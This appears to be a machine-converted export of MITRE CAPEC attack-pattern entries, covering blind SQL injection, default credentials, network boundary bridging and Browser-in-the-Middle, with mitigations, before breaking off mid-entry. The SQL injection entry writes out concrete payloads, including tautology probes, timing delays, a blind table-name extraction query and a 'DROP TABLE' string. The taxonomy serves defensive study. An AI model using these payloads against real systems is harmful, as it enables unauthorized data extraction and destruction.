+ #indRelatedAttackPatternRelatedAttackPattern42906 + Related_Attack_Pattern_42906 + + + + + + + + + + + + + + 66 + + + + + + + + + + + + #indAttackStepAttackStep42909 + Attack_Step_42909 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Hypothesize SQL queries in application]&lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Generated hypotheses regarding the SQL queries in an application. For example, the adversary may hypothesize that their input is passed directly into a query that looks like:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;"SELECT * FROM orders WHERE ordernum = _____"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;or&lt;xhtml:br&gt;&lt;/xhtml:br&gt;"SELECT * FROM orders WHERE ordernum IN (_____)"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;or&lt;xhtml:br&gt;&lt;/xhtml:br&gt;"SELECT * FROM orders WHERE ordernum in (_____) ORDER BY _____"&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Of course, there are many other possibilities.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Research types of SQL queries and determine which ones could be used at various places in an application.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42918 + Attack_Step_42918 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine how to inject information into the queries]&lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Determine how to inject information into the queries from the previous step such that the injection does not impact their logic. For example, the following are possible injections for those queries:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;"5' OR 1=1; --"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;and&lt;xhtml:br&gt;&lt;/xhtml:br&gt;"5) OR 1=1; --"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;and&lt;xhtml:br&gt;&lt;/xhtml:br&gt;"ordernum DESC; --"&lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add clauses to the SQL queries such that the query logic does not change.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add delays to the SQL queries in case server does not provide clear error messages (e.g. WAITFOR DELAY '0:0:10' in SQL Server or BENCHMARK(1000000000,MD5(1) in MySQL). If these can be injected into the queries, then the length of time that the server takes to respond reveals whether the query is injectable or not.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42927 + Attack_Step_42927 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine user-controllable input susceptible to injection] Determine the user-controllable input susceptible to injection. For each user-controllable input that the adversary suspects is vulnerable to SQL injection, attempt to inject the values determined in the previous step. If an error does not occur, then the adversary knows that the SQL injection was successful.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use web browser to inject input through text fields or through HTTP GET parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use network-level packet injection tools such as netcat to inject input</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use modified client (modified by reverse engineering) to inject input.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42936 + Attack_Step_42936 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine database type] Determines the type of the database, such as MS SQL Server or Oracle or MySQL, using logical conditions as part of the injected queries</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try injecting a string containing char(0x31)=char(0x31) (this evaluates to 1=1 in SQL Server only)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try injecting a string containing 0x313D31 (this evaluates to 1=1 in MySQL only)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject other database-specific commands into input fields susceptible to SQL Injection. The adversary can determine the type of database that is running by checking whether the query executed successfully or not (i.e. whether the adversary received a normal response from the server or not).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42944 + Attack_Step_42944 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Extract information about database schema] Extract information about database schema by getting the database to answer yes/no questions about the schema.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Automatically extract database schema using a tool such as Absinthe.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually perform the blind SQL Injection to extract desired information about the database schema.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42951 + Attack_Step_42951 + + + + + + + + + 6 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Exploit SQL Injection vulnerability] Use the information obtained in the previous steps to successfully inject the database in order to bypass checks or modify, add, retrieve or delete data from the database</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use information about how to inject commands into SQL queries as well as information about the database schema to execute attacks such as dropping tables, inserting records, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SQL queries used by the application to store, retrieve or modify data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User-controllable input that is not properly validated by the application as part of SQL queries.</xhtml:div> + + + + + + + + + + + + #indSkillSkill42963 + Skill_42963 + + + + + + + + + + + + + + Determining the database type and version, as well as the right number and type of parameters to the query being injected in the absence of error messages requires greater skill than reverse-engineering database error messages. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The only indicators of successful Blind SQL Injection are the application or database logs that show similar queries with slightly differing logical conditions that increase in complexity over time. However, this requires extensive logging as well as knowledge of the queries that can be used to perform such injection and return meaningful information from the database.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence42972 + Consequence_42972 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42976 + Consequence_42976 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42980 + Consequence_42980 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Security by Obscurity is not a solution to preventing SQL Injection. Rather than suppress error messages and exceptions, the application must handle them gracefully, returning either a custom error page or redirecting the user to a default page, without revealing any information about the database or the application internals.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as SQL content. Keywords such as UNION, SELECT or INSERT must be filtered in addition to characters such as a single-quote(') or SQL-comments (--) based on the context in which they appear.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary may try entering something like "username' AND 1=1; --" in an input field. If the result is the same as when the adversary entered "username" in the field, then the adversary knows that the application is vulnerable to SQL Injection. The adversary can then ask yes/no questions from the database server to extract information from it. For example, the adversary can extract table names from a database using the following types of queries:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;"username' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) &amp;gt; 108".&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the above query executes properly, then the adversary knows that the first character in a table name in the database is a letter between m and z. If it doesn't, then the adversary knows that the character must be between a and l (assuming of course that table names only contain alphabetic characters). By performing a binary search on all character positions, the adversary can determine all table names in the database. Subsequently, the adversary may execute an actual attack and send something like:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;"username'; DROP TABLE trades; --&lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In the PHP application TimeSheet 1.1, an adversary can successfully retrieve username and password hashes from the database using Blind SQL Injection. If the adversary is aware of the local path structure, the adversary can also remotely execute arbitrary code and write the output of the injected queries to the local path. Blind SQL Injection is possible since the application does not properly sanitize the $_POST['username'] variable in the login.php file. See also: CVE-2006-4705</xhtml:div> + + + + + 89 + + + + + 209 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 707 + + + + + + + + + + + + #indTaxonomyMappingBlindSQLInjection + Blind SQL Injection + + + + + + + + + + + + + + Blind SQL Injection + + + + + + + + + + + + #indContentHistoryContentHistory43014 + Content_History_43014 + + + + + + + + + + + + + + + + #indSubmissionSubmission43015 + Submission_43015 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification43020 + Modification_43020 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification43026 + Modification_43026 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Description, Description Summary, Examples-Instances, Payload_Activation_Impact, Resources_Required + + + + + + + + + + + + #indModificationModification43032 + Modification_43032 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification43038 + Modification_43038 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification43044 + Modification_43044 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification43050 + Modification_43050 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification43056 + Modification_43056 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #CAPEC-70 + Try Common or Default Usernames and Passwords + + + + + + + + + 70 + + + + + Try Common or Default Usernames and Passwords + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may try certain common or default usernames and passwords to gain access into the system and perform unauthorized actions. An adversary may try an intelligent brute force using empty passwords, known vendor default credentials, as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well-known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. "secret" or "password") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43071 + Related_Attack_Pattern_43071 + + + + + + + + + + + + + + 49 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43072 + Related_Attack_Pattern_43072 + + + + + + + + + + + + + + 600 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43073 + Related_Attack_Pattern_43073 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43074 + Related_Attack_Pattern_43074 + + + + + + + + + + + + + + 560 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43075 + Related_Attack_Pattern_43075 + + + + + + + + + + + + + + 561 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43076 + Related_Attack_Pattern_43076 + + + + + + + + + + + + + + 653 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system uses one factor password based authentication.The adversary has the means to interact with the system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill43082 + Skill_43082 + + + + + + + + + + + + + + An adversary just needs to gain access to common default usernames/passwords specific to the technologies used by the system. Additionally, a brute force attack leveraging common passwords can be easily realized if the user name is known. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Technology or vendor specific list of default usernames and passwords.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many incorrect login attempts are detected by the system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43091 + Consequence_43091 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Delete all default account credentials that may be put in by the product vendor.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement a password throttling mechanism. This mechanism should take into account both the IP address and the log in name of the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put together a strong password policy and make sure that all user created passwords comply with it. Alternatively automatically generate strong passwords for users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Passwords need to be recycled to prevent aging, that is every once in a while a new password must be chosen.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A user sets their password to "123" or intentionally leaves their password blank. If the system does not have password strength enforcement against a sound password policy, this password may be admitted. Passwords like these two examples are two simple and common passwords that are easily able to be guessed by the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and earlier) have a default administrator username "root" with a password "password". This allows remote attackers to easily obtain administrative privileges. See also: CVE-2006-5288</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In April 2019, adversaries attacked several popular IoT devices (a VOIP phone, an office printer, and a video decoder) across multiple customer locations. An investigation conducted by the Microsoft Security Resposne Center (MSRC) discovered that these devices were used to gain initial access to corporate networks. In two of the cases, the passwords for the devices were deployed without changing the default manufacturer’s passwords and in the third instance the latest security update had not been applied to the device. [REF-572]</xhtml:div> + + + + + 521 + + + + + 262 + + + + + 263 + + + + + 798 + + + + + 654 + + + + + 308 + + + + + 309 + + + + + + + + + + + + #indTaxonomyMappingValidAccountsDefaultAccounts + Valid Accounts:Default Accounts + + + + + + + + + + + + + + 1078.001 + + + + + Valid Accounts:Default Accounts + + + + + + + + + + + + #indReferenceReference43125 + Reference_43125 + + + + + + + + + REF-572 + + + + + + + + + + + + #indReferenceReference43126 + Reference_43126 + + + + + + + + + REF-574 + + + + + + + + + + + + #indReferenceReference43128 + Reference_43128 + + + + + + + + + REF-596 + + + + + Testing for Account Enumeration and Guessable User Account + + + + + + + + + + + + #indReferenceReference43129 + Reference_43129 + + + + + + + + + REF-597 + + + + + Testing for Default Credentials + + + + + + + + + + + + #indContentHistoryContentHistory43131 + Content_History_43131 + + + + + + + + + + + + + + + + #indSubmissionSubmission43132 + Submission_43132 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification43137 + Modification_43137 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances + + + + + + + + + + + + #indModificationModification43143 + Modification_43143 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, References, Related_Attack_Patterns, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification43149 + Modification_43149 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification43155 + Modification_43155 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName43161 + Previous_Entry_Name_43161 + + + + + + + + + 2017-08-04 + + + + + Try Common(default) Usernames and Passwords + + + + + + + + + + + + #CAPEC-700 + Network Boundary Bridging + + + + + + + + + 700 + + + + + Network Boundary Bridging + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary which has gained elevated access to network boundary devices may use these devices to create a channel to bridge trusted and untrusted networks. Boundary devices do not necessarily have to be on the network’s edge, but rather must serve to segment portions of the target network the adversary wishes to cross into.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Network boundary devices are network devices such as routers and firewalls which segment networks by restricting certain types of traffic from flowing through the device. Network boundary devices are often directly accessible through a portal page for management purposes. An adversary’s goal when conducting network boundary bridging is to connect networks which are being segmented by the device. To do so, the adversary must first compromise the network boundary device.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43172 + Related_Attack_Pattern_43172 + + + + + + + + + + + + + + 161 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43173 + Related_Attack_Pattern_43173 + + + + + + + + + + + + + + 70 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43174 + Related_Attack_Pattern_43174 + + + + + + + + + + + + + + 560 + + + + + + + + + + + + #indAttackStepAttackStep43177 + Attack_Step_43177 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify potential targets] An adversary identifies network boundary devices that can be compromised.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary traces network traffic to identify which devices the traffic flows through. Additionally, the adversary can identify devices using fingerprinting methods or locating the management page to determine identifying information about the device.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43183 + Attack_Step_43183 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Compromise targets] The adversary must compromise the identified targets in the previous step.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Once the device is identified, the adversary can attempt to input known default credentials for the device to gain access to the management console.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries with sufficient identifying knowledge about the target device can exploit known vulnerabilities in network devices to obtain administrative access.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43190 + Attack_Step_43190 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Bridge Networks] The adversary changes the configuration of the compromised network device to connect the networks the device was segmenting. Depending on the type of network boundary device and its capabilities, bridging can be implemented using various methods.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary can abuse Network Address Translation (NAT) in firewalls and routers to manipulate traffic flow to their own design. With control of the network device, the adversary can manipulate NAT by either using existing configurations or creating their own to allow two previously unconnected networks to communicate.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some network devices can be configured to become a proxy server. Adversaries can set up or exploit an existing proxy server on compromised network devices to create a bridge between separate networks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have control of a network boundary device.</xhtml:div> + + + + + + + + + + + + #indSkillSkill43202 + Skill_43202 + + + + + + + + + + + + + + The adversary must understand how to manage the target network device to create or edit policies which will bridge networks. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires either high privileges or full control of a boundary device on a target network.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43208 + Consequence_43208 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43214 + Consequence_43214 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure network devices are storing credentials in encrypted stores</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Follow the principle of least privilege and restrict administrative duties to as few accounts as possible. Ensure these privileged accounts are secured with strong credentials which do not overlap with other network devices.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: When possible, configure network boundary devices to use MFA.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Change the default configuration for network devices to harden their security profiles. Default configurations are often enabled with insecure features to allow ease of installation and management. However, these configurations can be easily discovered and exploited by adversaries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform integrity checks on audit logs for network device management and review them to identify abnormalities in configurations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Prevent network boundary devices from being physically accessed by unauthorized personnel to prevent tampering.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In November 2016, a Smart Install Exploitation Tool was released online which takes advantage of Cisco’s unauthenticated SMI management protocol to download a target’s current configuration files. Adversaries can use this tool to overwrite files to modify the device configurations, or upload maliciously modified OS or firmware to enable persistence. Once the adversary has access to the device’s configurations, they could modify it to redirect network traffic through other network infrastructure.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingNetworkBoundaryBridging + Network Boundary Bridging + + + + + + + + + + + + + + 1599 + + + + + Network Boundary Bridging + + + + + + + + + + + + #indReferenceReference43241 + Reference_43241 + + + + + + + + + REF-746 + + + + + + + + + + + + #indContentHistoryContentHistory43243 + Content_History_43243 + + + + + + + + + + + + + + + + #indSubmissionSubmission43244 + Submission_43244 + + + + + + + + + CAPEC Content Team + + + + + 2023-01-24 + + + + + + + + + + + + #CAPEC-701 + Browser in the Middle (BiTM) + + + + + + + + + 701 + + + + + Browser in the Middle (BiTM) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Unlike Adversary in the Browser, the victim does not need to install a malicious application. Browser in the Middle uses the inherent functionalities of a web browser to convince the victim they are browsing normally under the assumption that the connection is secure. All the actions performed by the victim in the open window are actually performed on the machine of the adversary. These victim-authenticated sessions are available to the adversary to use. All entered data such as passwords and usernames can be logged by the adversary and the content displayed to the victim can be altered arbitrarily. Varieties of multifactor authentication which rely solely on user input and do not use a form of hardware-based secret exchange are vulnerable to browser in the middle.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43259 + Related_Attack_Pattern_43259 + + + + + + + + + + + + + + 94 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43260 + Related_Attack_Pattern_43260 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43261 + Related_Attack_Pattern_43261 + + + + + + + + + + + + + + 148 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43262 + Related_Attack_Pattern_43262 + + + + + + + + + + + + + + 98 + + + + + + + + + + + + #indAttackStepAttackStep43265 + Attack_Step_43265 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify potential targets] The adversary identifies an application or service that the target is likely to use.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary stands up a server to host the transparent browser and entices victims to use it by using a domain name similar to the legitimate application. In addition to the transparent browser, the adversary could also install a web proxy, sniffer, keylogger, and other tools to assist in their goals.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43271 + Attack_Step_43271 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Lure victims] The adversary crafts a phishing campaign to lure unsuspecting victims into using the transparent browser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can create a convincing email with a link to download the web client and interact with the transparent browser.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43277 + Attack_Step_43277 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Monitor and Manipulate Data] When the victim establishes the connection to the transparent browser, the adversary can view victim activity and make alterations to what the victim sees when browsing the web.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Once a victim has established a connection to the transparent browser, the adversary can use installed tools such as a web proxy, keylogger, or additional malicious browser extensions to gather and manipulate data or impersonate the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must create a convincing web client to establish the connection. The victim then needs to be lured onto the adversary's webpage. In addition, the victim's machine must not use local authentication APIs, a hardware token, or a Trusted Platform Module (TPM) to authenticate.</xhtml:div> + + + + + + + + + + + + #indSkillSkill43288 + Skill_43288 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A web application with a client is needed to enable the victim's browser to establish a remote desktop connection to the system of the adversary.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43294 + Consequence_43294 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43301 + Consequence_43301 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43307 + Consequence_43307 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use strong, mutual authentication to fully authenticate with both ends of any communications channel</xhtml:div> + + + + + 294 + + + + + 345 + + + + + + + + + + + + #indReferenceReference43321 + Reference_43321 + + + + + + + + + REF-747 + + + + + + + + + + + + #indContentHistoryContentHistory43323 + Content_History_43323 + + + + + + + + + + + + + + + + #indSubmissionSubmission43324 + Submission_43324 + + + + + + + + + Jonas Tzschoppe + + + + + Nuremberg Institute of Technology + + + + + 2023-01-24 + + + + + + + + + + + + #CAPEC-702 + Exploiting Incorrect Chaining or Granularity of Hardware Debug Components + + + + + + + + + 702 + + + + + Exploiting Incorrect Chaining or Granularity of Hardware Debug Components + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary exploits incorrect chaining or granularity 